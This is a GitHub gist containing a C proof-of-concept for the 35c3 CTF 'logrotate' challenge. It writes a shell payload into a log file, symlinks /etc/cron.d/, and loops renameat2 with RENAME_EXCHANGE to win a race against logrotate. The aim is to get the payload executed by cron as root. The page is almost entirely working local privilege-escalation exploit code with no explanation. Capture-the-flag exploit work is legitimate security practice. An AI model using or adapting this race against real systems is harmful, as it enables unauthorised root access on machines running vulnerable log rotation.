Skip to content

Instantly share code, notes, and snippets.

@dok852
Created January 1, 2019 16:32
Show Gist options
  • Save dok852/d96408f284217c0bbd63257c89c1f117 to your computer and use it in GitHub Desktop.
Save dok852/d96408f284217c0bbd63257c89c1f117 to your computer and use it in GitHub Desktop.
35c3 CTF - logrotate - rename race condition
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <linux/fs.h>
void race() {
int fd, status;
char data[1200];
strcpy(data, "#!/bin/sh\ncat /flag > /tmp/flag; chmod 777 /tmp/flag;#");
mkdir("/tmp/log", S_IRUSR | S_IWUSR | S_IXUSR);
fd = open("/tmp/log/pwnme.log", O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH );
status = write(fd, data, sizeof(data));
close(fd);
symlink("/etc/cron.d/", "/tmp/link");
int dir_fd = open("/tmp/log", O_DIRECTORY | O_RDONLY);
int link_fd = open("/tmp/link", O_RDONLY);
while(1) {
syscall(SYS_renameat2, link_fd, "/tmp/link", dir_fd, "/tmp/log", RENAME_EXCHANGE);
}
}
int main() {
race();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment